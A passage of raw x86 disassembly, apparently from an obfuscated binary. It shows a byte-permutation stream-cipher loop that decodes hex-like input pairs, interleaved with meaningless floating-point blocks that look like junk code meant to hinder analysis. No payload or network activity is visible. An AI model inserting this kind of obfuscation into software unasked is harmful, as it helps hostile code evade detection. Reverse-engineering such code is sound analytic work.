movzx ecx, byte [ebp + eax - 0x5e38]
movzx edx, byte [ebp - 0x32f9]
add edx, ecx
mov byte [ebp - 0x32f9], dl
movzx eax, byte [ebp - 0x32f8]
movzx ecx, byte [ebp - 0x32a3]
movzx edx, byte [ebp + ecx - 0x5e38]
movzx ecx, byte [ebp - 0x328a]
movzx ecx, byte [ebp + ecx - 0x5e38]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5e38]
xor eax, edx
movzx ecx, byte [ebp - 0x32a2]
movzx edx, byte [ebp + ecx - 0x5e38]
movzx ecx, byte [ebp - 0x32c9]
movzx ecx, byte [ebp + ecx - 0x5e38]
add edx, ecx
movzx ecx, byte [ebp - 0x32f9]
movzx ecx, byte [ebp + ecx - 0x5e38]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5e38]
movzx ecx, byte [ebp + edx - 0x5e38]
xor eax, ecx
mov byte [ebp - 0x32a2], al
mov dl, byte [ebp - 0x32f8]
mov byte [ebp - 0x32c9], dl
mov al, byte [ebp - 0x32a2]
mov byte [ebp - 0x336b], al
cmp dword [ebp - 0x33b4], 0
jle 0x44be99
movsx cx, byte [ebp - 0x336b]
mov edx, dword [ebp - 0x33b4]
mov word [ebp + edx*2 - 0x4e], cx
mov eax, dword [ebp - 0x33b4]
add eax, 1
mov dword [ebp - 0x33b4], eax
mov ecx, dword [ebp - 0x39d8]
add ecx, 1
mov dword [ebp - 0x39d8], ecx
mov edx, dword [ebp - 0x33b4]
shl edx, 1
mov dword [ebp - 0x3c48], edx
mov eax, dword [ebp - 0x3c3c]
add eax, dword [ebp - 0x3c48]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b4c], ecx
mov dword [ebp - 0x3b50], 0xe6
mov edx, dword [ebp - 0x33b4]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3c38], eax
mov ecx, dword [ebp - 0x3c3c]
add ecx, dword [ebp - 0x3c38]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b54], edx
mov dword [ebp - 0x3b58], 0xae
mov eax, dword [ebp - 0x3b4c]
sub eax, dword [ebp - 0x3b50]
mov dword [ebp - 0x3b5c], eax
mov ecx, dword [ebp - 0x3b54]
sub ecx, dword [ebp - 0x3b58]
mov dword [ebp - 0x3b60], ecx
mov edx, dword [ebp - 0x3b5c]
shl edx, 4
mov dword [ebp - 0x3c34], edx
mov eax, dword [ebp - 0x3b60]
mov dword [ebp - 0x3c30], eax
mov ecx, dword [ebp - 0x3c34]
or ecx, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c2c], ecx
mov dl, byte [ebp - 0x3c2c]
mov byte [ebp - 0x32f8], dl
movzx eax, byte [ebp - 0x32c9]
mov cl, byte [ebp + eax - 0x5e38]
mov byte [ebp - 0x32fe], cl
movzx edx, byte [ebp - 0x328a]
movzx eax, byte [ebp + edx - 0x5e38]
movzx ecx, byte [ebp - 0x32a3]
add ecx, eax
mov byte [ebp - 0x32a3], cl
mov dl, byte [ebp - 0x328a]
add dl, 1
mov byte [ebp - 0x328a], dl
movzx eax, byte [ebp - 0x32a3]
movzx ecx, byte [ebp - 0x32c9]
mov dl, byte [ebp + eax - 0x5e38]
mov byte [ebp + ecx - 0x5e38], dl
movzx eax, byte [ebp - 0x32a2]
movzx ecx, byte [ebp - 0x32a3]
mov dl, byte [ebp + eax - 0x5e38]
mov byte [ebp + ecx - 0x5e38], dl
movzx eax, byte [ebp - 0x328a]
movzx ecx, byte [ebp - 0x32a2]
mov dl, byte [ebp + eax - 0x5e38]
mov byte [ebp + ecx - 0x5e38], dl
movzx eax, byte [ebp - 0x328a]
mov cl, byte [ebp - 0x32fe]
mov byte [ebp + eax - 0x5e38], cl
movzx edx, byte [ebp - 0x32fe]
movzx eax, byte [ebp + edx - 0x5e38]
movzx ecx, byte [ebp - 0x32f9]
add ecx, eax
mov byte [ebp - 0x32f9], cl
movzx edx, byte [ebp - 0x32f8]
movzx eax, byte [ebp - 0x32a3]
movzx ecx, byte [ebp + eax - 0x5e38]
movzx eax, byte [ebp - 0x328a]
movzx eax, byte [ebp + eax - 0x5e38]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e38]
xor edx, ecx
movzx eax, byte [ebp - 0x32a2]
movzx ecx, byte [ebp + eax - 0x5e38]
movzx eax, byte [ebp - 0x32c9]
movzx eax, byte [ebp + eax - 0x5e38]
add ecx, eax
movzx eax, byte [ebp - 0x32f9]
movzx eax, byte [ebp + eax - 0x5e38]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5e38]
movzx eax, byte [ebp + ecx - 0x5e38]
xor edx, eax
mov byte [ebp - 0x32a2], dl
mov cl, byte [ebp - 0x32f8]
mov byte [ebp - 0x32c9], cl
mov dl, byte [ebp - 0x32a2]
mov byte [ebp - 0x336b], dl
cmp dword [ebp - 0x33b4], 0
jle 0x44c0f1
movsx ax, byte [ebp - 0x336b]
mov ecx, dword [ebp - 0x33b4]
mov word [ebp + ecx*2 - 0x4e], ax
mov edx, dword [ebp - 0x33b4]
add edx, 1
mov dword [ebp - 0x33b4], edx
mov eax, dword [ebp - 0x39d8]
add eax, 1
mov dword [ebp - 0x39d8], eax
mov ecx, dword [ebp - 0x33b4]
shl ecx, 1
mov dword [ebp - 0x3c48], ecx
mov edx, dword [ebp - 0x3c3c]
add edx, dword [ebp - 0x3c48]
movzx eax, byte [edx]
mov dword [ebp - 0x3b4c], eax
mov dword [ebp - 0x3b50], 0xe6
mov ecx, dword [ebp - 0x33b4]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3c38], edx
mov eax, dword [ebp - 0x3c3c]
add eax, dword [ebp - 0x3c38]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b54], ecx
mov dword [ebp - 0x3b58], 0xae
mov edx, dword [ebp - 0x3b4c]
sub edx, dword [ebp - 0x3b50]
mov dword [ebp - 0x3b5c], edx
mov eax, dword [ebp - 0x3b54]
sub eax, dword [ebp - 0x3b58]
mov dword [ebp - 0x3b60], eax
mov ecx, dword [ebp - 0x3b5c]
shl ecx, 4
mov dword [ebp - 0x3c34], ecx
mov edx, dword [ebp - 0x3b60]
mov dword [ebp - 0x3c30], edx
mov eax, dword [ebp - 0x3c34]
or eax, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c2c], eax
mov cl, byte [ebp - 0x3c2c]
mov byte [ebp - 0x32f8], cl
movsd xmm0, qword [0xa6eec8]
movsd qword [ebp - 0x471c], xmm0
movsd xmm0, qword [0xa6eca8]
movsd qword [ebp - 0x46cc], xmm0
movsd xmm0, qword [0xa6e9c0]
movsd qword [ebp - 0x496c], xmm0
movsd xmm0, qword [ebp - 0x46cc]
subsd xmm0, qword [ebp - 0x496c]
movsd qword [ebp - 0x46cc], xmm0
movsd xmm0, qword [ebp - 0x471c]
addsd xmm0, qword [ebp - 0x496c]
movsd qword [ebp - 0x471c], xmm0
movsd xmm0, qword [ebp - 0x471c]
addsd xmm0, qword [ebp - 0x496c]
movsd qword [ebp - 0x471c], xmm0
movsd xmm0, qword [ebp - 0x471c]
comisd xmm0, xmmword [ebp - 0x46cc]
jbe 0x44c2b0
movsd xmm0, qword [ebp - 0x46cc]
subsd xmm0, qword [ebp - 0x471c]
movsd qword [ebp - 0x46cc], xmm0
movsd xmm0, qword [ebp - 0x46cc]
addsd xmm0, qword [ebp - 0x471c]
movsd qword [ebp - 0x46cc], xmm0
movsd xmm0, qword [ebp - 0x46cc]
addsd xmm0, qword [ebp - 0x471c]
movsd qword [ebp - 0x46cc], xmm0
movzx edx, byte [ebp - 0x32c9]
mov al, byte [ebp + edx - 0x5e38]
mov byte [ebp - 0x32fe], al
jmp 0x44c2f8
movsd xmm0, qword [ebp - 0x496c]
addsd xmm0, qword [ebp - 0x46cc]
movsd qword [ebp - 0x496c], xmm0
movsd xmm0, qword [ebp - 0x471c]
addsd xmm0, qword [ebp - 0x496c]
movsd qword [ebp - 0x471c], xmm0
movsd xmm0, qword [ebp - 0x496c]
mulsd xmm0, qword [ebp - 0x46cc]
movsd qword [ebp - 0x496c], xmm0
movzx ecx, byte [ebp - 0x328a]
movzx edx, byte [ebp + ecx - 0x5e38]
movzx eax, byte [ebp - 0x32a3]
add eax, edx
mov byte [ebp - 0x32a3], al
mov cl, byte [ebp - 0x328a]
add cl, 1
mov byte [ebp - 0x328a], cl
movzx edx, byte [ebp - 0x32a3]
movzx eax, byte [ebp - 0x32c9]
mov cl, byte [ebp + edx - 0x5e38]
mov byte [ebp + eax - 0x5e38], cl
movzx edx, byte [ebp - 0x32a2]
movzx eax, byte [ebp - 0x32a3]
mov cl, byte [ebp + edx - 0x5e38]
mov byte [ebp + eax - 0x5e38], cl
movzx edx, byte [ebp - 0x328a]
movzx eax, byte [ebp - 0x32a2]
mov cl, byte [ebp + edx - 0x5e38]
mov byte [ebp + eax - 0x5e38], cl
movzx edx, byte [ebp - 0x328a]
mov al, byte [ebp - 0x32fe]
mov byte [ebp + edx - 0x5e38], al
movzx ecx, byte [ebp - 0x32fe]
movzx edx, byte [ebp + ecx - 0x5e38]
movzx eax, byte [ebp - 0x32f9]
add eax, edx
mov byte [ebp - 0x32f9], al
movzx ecx, byte [ebp - 0x32f8]
movzx edx, byte [ebp - 0x32a3]
movzx eax, byte [ebp + edx - 0x5e38]
movzx edx, byte [ebp - 0x328a]
movzx edx, byte [ebp + edx - 0x5e38]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5e38]
xor ecx, eax
movzx edx, byte [ebp - 0x32a2]
movzx eax, byte [ebp + edx - 0x5e38]
movzx edx, byte [ebp - 0x32c9]
movzx edx, byte [ebp + edx - 0x5e38]
add eax, edx
movzx edx, byte [ebp - 0x32f9]
movzx edx, byte [ebp + edx - 0x5e38]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5e38]
movzx edx, byte [ebp + eax - 0x5e38]
xor ecx, edx
mov byte [ebp - 0x32a2], cl
mov al, byte [ebp - 0x32f8]
mov byte [ebp - 0x32c9], al
mov cl, byte [ebp - 0x32a2]
mov byte [ebp - 0x336b], cl
cmp dword [ebp - 0x33b4], 0
jle 0x44c463
movsx dx, byte [ebp - 0x336b]
mov eax, dword [ebp - 0x33b4]
mov word [ebp + eax*2 - 0x4e], dx
mov ecx, dword [ebp - 0x39d8]
add ecx, 1
mov dword [ebp - 0x39d8], ecx
mov edx, dword [ebp - 0x33b4]
add edx, 1
mov dword [ebp - 0x4988], edx
jmp 0x44c492
mov eax, dword [ebp - 0x4988]
add eax, 1
mov dword [ebp - 0x4988], eax
mov ecx, dword [ebp - 0x4988]
cmp ecx, dword [ebp - 0x39d8]
jge 0x44cbed
mov edx, dword [ebp - 0x33b4]
add edx, 1
mov dword [ebp - 0x33b4], edx
mov eax, dword [ebp - 0x33b4]
shl eax, 1
mov dword [ebp - 0x3c48], eax
mov ecx, dword [ebp - 0x3c3c]
add ecx, dword [ebp - 0x3c48]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b4c], edx
movss xmm0, dword [0xa6f2ac]
movss dword [ebp - 0x3580], xmm0
movss xmm0, dword [0xa6f1d8]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [0xa6f120]
movss dword [ebp - 0x340c], xmm0
movss xmm0, dword [0xa6f040]
movss dword [ebp - 0x3420], xmm0
movss xmm0, dword [ebp - 0x3580]
addss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x3580], xmm0
movss xmm0, dword [ebp - 0x3580]
addss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x3580], xmm0
movss xmm0, dword [ebp - 0x3580]
addss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x3580], xmm0
movss xmm0, dword [ebp - 0x3518]
subss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3420]
comiss xmm0, dword [ebp - 0x3580]
jbe 0x44c857
movss xmm0, dword [ebp - 0x3420]
divss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3420], xmm0
movss xmm0, dword [ebp - 0x3580]
subss xmm0, dword [ebp - 0x340c]
movss dword [ebp - 0x3580], xmm0
movss xmm0, dword [ebp - 0x3580]
subss xmm0, dword [ebp - 0x340c]
movss dword [ebp - 0x3580], xmm0
movss xmm0, dword [ebp - 0x340c]
addss xmm0, dword [ebp - 0x3580]
movss dword [ebp - 0x340c], xmm0
movss xmm0, dword [ebp - 0x3420]
divss xmm0, dword [ebp - 0x3580]
movss dword [ebp - 0x3420], xmm0
movss xmm0, dword [ebp - 0x340c]
divss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x340c], xmm0
movss xmm0, dword [ebp - 0x340c]
subss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x340c], xmm0
movss xmm0, dword [ebp - 0x3518]
divss xmm0, dword [ebp - 0x340c]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3420]
comiss xmm0, dword [ebp - 0x3518]
jbe 0x44c7f5
movss xmm0, dword [ebp - 0x340c]
mulss xmm0, dword [ebp - 0x3580]
movss dword [ebp - 0x340c], xmm0
movss xmm0, dword [ebp - 0x3518]
subss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x340c]
mulss xmm0, dword [ebp - 0x3580]
movss dword [ebp - 0x340c], xmm0
movss xmm0, dword [ebp - 0x3580]
mulss xmm0, dword [ebp - 0x340c]
movss dword [ebp - 0x3580], xmm0
movss xmm0, dword [ebp - 0x340c]
mulss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x340c], xmm0
movss xmm0, dword [ebp - 0x340c]
subss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x340c], xmm0
movss xmm0, dword [ebp - 0x3420]
addss xmm0, dword [ebp - 0x3580]
movss dword [ebp - 0x3420], xmm0
movss xmm0, dword [ebp - 0x3420]
addss xmm0, dword [ebp - 0x3580]
movss dword [ebp - 0x3420], xmm0
movss xmm0, dword [ebp - 0x340c]
comiss xmm0, dword [ebp - 0x3580]
jbe 0x44c793
movss xmm0, dword [ebp - 0x340c]
mulss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x340c], xmm0
movss xmm0, dword [ebp - 0x3518]
divss xmm0, dword [ebp - 0x340c]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3518]
addss xmm0, dword [ebp - 0x340c]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x340c]
divss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x340c], xmm0
jmp 0x44c7f3
movss xmm0, dword [ebp - 0x340c]
mulss xmm0, dword [ebp - 0x3580]
movss dword [ebp - 0x340c], xmm0
movss xmm0, dword [ebp - 0x3518]
divss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3518]
divss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x340c]
divss xmm0, dword [ebp - 0x3580]
movss dword [ebp - 0x340c], xmm0
jmp 0x44c855
movss xmm0, dword [ebp - 0x340c]
mulss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x340c], xmm0
movss xmm0, dword [ebp - 0x3518]
subss xmm0, dword [ebp - 0x340c]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3420]
mulss xmm0, dword [ebp - 0x3580]
movss dword [ebp - 0x3420], xmm0
movss xmm0, dword [ebp - 0x340c]
addss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x340c], xmm0
jmp 0x44c8c1
movss xmm0, dword [ebp - 0x3518]
mulss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3420]
mulss xmm0, dword [ebp - 0x3518]
movss dword [ebp - 0x3420], xmm0
movss xmm0, dword [ebp - 0x3518]
mulss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x3518], xmm0
movss xmm0, dword [ebp - 0x3518]
subss xmm0, dword [ebp - 0x3420]
movss dword [ebp - 0x3518], xmm0
mov dword [ebp - 0x3b50], 0xe6
mov eax, dword [ebp - 0x33b4]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3c38], ecx
mov edx, dword [ebp - 0x3c3c]
add edx, dword [ebp - 0x3c38]
movzx eax, byte [edx]
mov dword [ebp - 0x3b54], eax
mov dword [ebp - 0x3b58], 0xae
mov ecx, dword [ebp - 0x3b4c]
sub ecx, dword [ebp - 0x3b50]
mov dword [ebp - 0x3b5c], ecx
mov edx, dword [ebp - 0x3b54]
sub edx, dword [ebp - 0x3b58]
mov dword [ebp - 0x3b60], edx
mov eax, dword [ebp - 0x3b5c]
shl eax, 4
mov dword [ebp - 0x3c34], eax
mov ecx, dword [ebp - 0x3b60]
mov dword [ebp - 0x3c30], ecx
mov edx, dword [ebp - 0x3c34]
or edx, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c2c], edx
mov al, byte [ebp - 0x3c2c]
mov byte [ebp - 0x32f8], al
movzx ecx, byte [ebp - 0x32c9]
mov dl, byte [ebp + ecx - 0x5e38]
mov byte [ebp - 0x32fe], dl
movzx eax, byte [ebp - 0x328a]
movzx ecx, byte [ebp + eax - 0x5e38]
movzx edx, byte [ebp - 0x32a3]
add edx, ecx
mov byte [ebp - 0x32a3], dl
mov al, byte [ebp - 0x328a]
add al, 1
mov byte [ebp - 0x328a], al
movzx ecx, byte [ebp - 0x32a3]
movzx edx, byte [ebp - 0x32c9]
mov al, byte [ebp + ecx - 0x5e38]
mov byte [ebp + edx - 0x5e38], al
movzx ecx, byte [ebp - 0x32a2]
movzx edx, byte [ebp - 0x32a3]
mov al, byte [ebp + ecx - 0x5e38]
mov byte [ebp + edx - 0x5e38], al
movzx ecx, byte [ebp - 0x328a]
movzx edx, byte [ebp - 0x32a2]
mov al, byte [ebp + ecx - 0x5e38]
mov byte [ebp + edx - 0x5e38], al
movss xmm0, dword [0xa6f31c]
movss dword [ebp - 0x4280], xmm0
movss xmm0, dword [0xa6f22c]
movss dword [ebp - 0x3f20], xmm0
movss xmm0, dword [0xa6f0c4]
movss dword [ebp - 0x415c], xmm0
movss xmm0, dword [ebp - 0x3f20]
mulss xmm0, dword [ebp - 0x415c]
movss dword [ebp - 0x3f20], xmm0
movss xmm0, dword [ebp - 0x3f20]
mulss xmm0, dword [ebp - 0x415c]
movss dword [ebp - 0x3f20], xmm0
movss xmm0, dword [ebp - 0x4280]
subss xmm0, dword [ebp - 0x415c]
movss dword [ebp - 0x4280], xmm0
movss xmm0, dword [ebp - 0x415c]
comiss xmm0, dword [ebp - 0x3f20]
jbe 0x44cab4
movss xmm0, dword [ebp - 0x3f20]
mulss xmm0, dword [ebp - 0x415c]
movss dword [ebp - 0x3f20], xmm0
movss xmm0, dword [ebp - 0x415c]
divss xmm0, dword [ebp - 0x4280]
movss dword [ebp - 0x415c], xmm0
movss xmm0, dword [ebp - 0x4280]
divss xmm0, dword [ebp - 0x3f20]
movss dword [ebp - 0x4280], xmm0
jmp 0x44cb10
movss xmm0, dword [ebp - 0x3f20]
subss xmm0, dword [ebp - 0x415c]
movss dword [ebp - 0x3f20], xmm0
movss xmm0, dword [ebp - 0x415c]
mulss xmm0, dword [ebp - 0x4280]
movss dword [ebp - 0x415c], xmm0
movss xmm0, dword [ebp - 0x4280]
subss xmm0, dword [ebp - 0x3f20]
movss dword [ebp - 0x4280], xmm0
movzx ecx, byte [ebp - 0x328a]
mov dl, byte [ebp - 0x32fe]
mov byte [ebp + ecx - 0x5e38], dl
movzx eax, byte [ebp - 0x32fe]
movzx ecx, byte [ebp + eax - 0x5e38]
movzx edx, byte [ebp - 0x32f9]
add edx, ecx
mov byte [ebp - 0x32f9], dl
movzx eax, byte [ebp - 0x32f8]
movzx ecx, byte [ebp - 0x32a3]
movzx edx, byte [ebp + ecx - 0x5e38]
movzx ecx, byte [ebp - 0x328a]
movzx ecx, byte [ebp + ecx - 0x5e38]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5e38]
xor eax, edx
movzx ecx, byte [ebp - 0x32a2]
movzx edx, byte [ebp + ecx - 0x5e38]
movzx ecx, byte [ebp - 0x32c9]
movzx ecx, byte [ebp + ecx - 0x5e38]
add edx, ecx
movzx ecx, byte [ebp - 0x32f9]
movzx ecx, byte [ebp + ecx - 0x5e38]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5e38]
movzx ecx, byte [ebp + edx - 0x5e38]
xor eax, ecx
mov byte [ebp - 0x32a2], al
mov dl, byte [ebp - 0x32f8]
mov byte [ebp - 0x32c9], dl
mov al, byte [ebp - 0x32a2]
mov byte [ebp - 0x336b], al
cmp dword [ebp - 0x33b4], 0
jle 0x44cbe8
movsx cx, byte [ebp - 0x336b]
mov edx, dword [ebp - 0x33b4]
mov word [ebp + edx*2 - 0x4e], cx
jmp 0x44c483
mov eax, dword [ebp - 0x39d8]
add eax, 1
mov dword [ebp - 0x39d8], eax
mov ecx, dword [ebp - 0x33b4]
add ecx, 1
mov dword [ebp - 0x33b4], ecx
mov edx, dword [ebp - 0x39d8]
add edx, 1
mov dword [ebp - 0x39d8], edx
mov eax, dword [ebp - 0x33b4]
shl eax, 1
mov dword [ebp - 0x3c48], eax
movss xmm0, dword [0xa6f368]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [0xa6f338]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [0xa6f2d8]
movss dword [ebp - 0x3aa0], xmm0
movss xmm0, dword [0xa6f254]
movss dword [ebp - 0x34f4], xmm0
movss xmm0, dword [0xa6f190]
movss dword [ebp - 0x34a4], xmm0
movss xmm0, dword [0xa6f0dc]
movss dword [ebp - 0x3528], xmm0
movss xmm0, dword [0xa6f018]
movss dword [ebp - 0x33c4], xmm0
movss xmm0, dword [ebp - 0x34a8]
subss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x34f4]
addss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x34f4], xmm0
movss xmm0, dword [ebp - 0x34a4]
mulss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x34a4], xmm0
movss xmm0, dword [ebp - 0x34a4]
addss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x34a4], xmm0
movss xmm0, dword [ebp - 0x34a8]
subss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3408]
subss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x34a4]
addss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x34a4], xmm0
movss xmm0, dword [ebp - 0x33c4]
comiss xmm0, dword [ebp - 0x34a4]
jbe 0x44d226
movss xmm0, dword [ebp - 0x33c4]
mulss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x33c4], xmm0
movss xmm0, dword [ebp - 0x34a4]
subss xmm0, dword [ebp - 0x3528]
movss dword [ebp - 0x34a4], xmm0
movss xmm0, dword [ebp - 0x34f4]
mulss xmm0, dword [ebp - 0x34a4]
movss dword [ebp - 0x34f4], xmm0
movss xmm0, dword [ebp - 0x34a4]
mulss xmm0, dword [ebp - 0x3528]
movss dword [ebp - 0x34a4], xmm0
movss xmm0, dword [ebp - 0x3408]
mulss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x3408]
divss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x3528]
addss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x3528], xmm0
movss xmm0, dword [ebp - 0x3aa0]
subss xmm0, dword [ebp - 0x34f4]
movss dword [ebp - 0x3aa0], xmm0
movss xmm0, dword [ebp - 0x3528]
addss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x3528], xmm0
movss xmm0, dword [ebp - 0x34a8]
addss xmm0, dword [ebp - 0x3aa0]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3528]
addss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x3528], xmm0
movss xmm0, dword [ebp - 0x34a4]
subss xmm0, dword [ebp - 0x3528]
movss dword [ebp - 0x34a4], xmm0
movss xmm0, dword [ebp - 0x34a4]
addss xmm0, dword [ebp - 0x3528]
movss dword [ebp - 0x34a4], xmm0
movss xmm0, dword [ebp - 0x3408]
subss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x34f4]
comiss xmm0, dword [ebp - 0x34a8]
jbe 0x44cf67
movss xmm0, dword [ebp - 0x33c4]
subss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x33c4], xmm0
movss xmm0, dword [ebp - 0x3408]
mulss xmm0, dword [ebp - 0x3aa0]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x3408]
addss xmm0, dword [ebp - 0x3aa0]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x3528]
subss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x3528], xmm0
movss xmm0, dword [ebp - 0x34a4]
subss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x34a4], xmm0
movss xmm0, dword [ebp - 0x34a4]
mulss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x34a4], xmm0
movss xmm0, dword [ebp - 0x3528]
subss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x3528], xmm0
jmp 0x44d221
movss xmm0, dword [ebp - 0x34a8]
mulss xmm0, dword [ebp - 0x34f4]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x33c4]
subss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x33c4], xmm0
movss xmm0, dword [ebp - 0x3408]
addss xmm0, dword [ebp - 0x3aa0]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x3aa0]
mulss xmm0, dword [ebp - 0x34a4]
movss dword [ebp - 0x3aa0], xmm0
movss xmm0, dword [ebp - 0x34f4]
divss xmm0, dword [ebp - 0x3528]
movss dword [ebp - 0x34f4], xmm0
movss xmm0, dword [ebp - 0x33c4]
addss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x33c4], xmm0
movss xmm0, dword [ebp - 0x34a8]
divss xmm0, dword [ebp - 0x34f4]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3408]
addss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x33c4]
mulss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x33c4], xmm0
movss xmm0, dword [ebp - 0x34f4]
mulss xmm0, dword [ebp - 0x34a4]
movss dword [ebp - 0x34f4], xmm0
movss xmm0, dword [ebp - 0x3528]
divss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x3528], xmm0
movss xmm0, dword [ebp - 0x33c4]
addss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x33c4], xmm0
movss xmm0, dword [ebp - 0x34a4]
divss xmm0, dword [ebp - 0x3528]
movss dword [ebp - 0x34a4], xmm0
movss xmm0, dword [ebp - 0x3aa0]
addss xmm0, dword [ebp - 0x34f4]
movss dword [ebp - 0x3aa0], xmm0
movss xmm0, dword [ebp - 0x3528]
comiss xmm0, dword [ebp - 0x34f4]
jbe 0x44d179
movss xmm0, dword [ebp - 0x34f4]
subss xmm0, dword [ebp - 0x34a4]
movss dword [ebp - 0x34f4], xmm0
movss xmm0, dword [ebp - 0x3aa0]
addss xmm0, dword [ebp - 0x34f4]
movss dword [ebp - 0x3aa0], xmm0
movss xmm0, dword [ebp - 0x33c4]
addss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x33c4], xmm0
movss xmm0, dword [ebp - 0x3408]
mulss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x34a8]
addss xmm0, dword [ebp - 0x3aa0]
movss dword [ebp - 0x34a8], xmm0
movss xmm0, dword [ebp - 0x3408]
addss xmm0, dword [ebp - 0x34a8]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x33c4]
mulss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x33c4], xmm0
jmp 0x44d221
movss xmm0, dword [ebp - 0x34f4]
divss xmm0, dword [ebp - 0x34a4]
movss dword [ebp - 0x34f4], xmm0
movss xmm0, dword [ebp - 0x3528]
divss xmm0, dword [ebp - 0x33c4]
movss dword [ebp - 0x3528], xmm0
movss xmm0, dword [ebp - 0x34f4]
subss xmm0, dword [ebp - 0x34a4]
movss dword [ebp - 0x34f4], xmm0
movss xmm0, dword [ebp - 0x33c4]
subss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x33c4], xmm0
movss xmm0, dword [ebp - 0x33c4]
subss xmm0, dword [ebp - 0x3408]
movss dword [ebp - 0x33c4], xmm0
movss xmm0, dword [ebp - 0x34f4]
mulss xmm0, dword [ebp - 0x34a4]
movss dword [ebp - 0x34f4], xmm0
movss xmm0, dword [ebp - 0x34a8]
addss xmm0, dword [ebp - 0x3aa0]
movss dword [ebp - 0x34a8], xmm0
jmp 0x44d2e3
movss xmm0, dword [ebp - 0x3408]
addss xmm0, dword [ebp - 0x3aa0]
movss dword [ebp - 0x3408], xmm0
movss xmm0, dword [ebp - 0x3528]
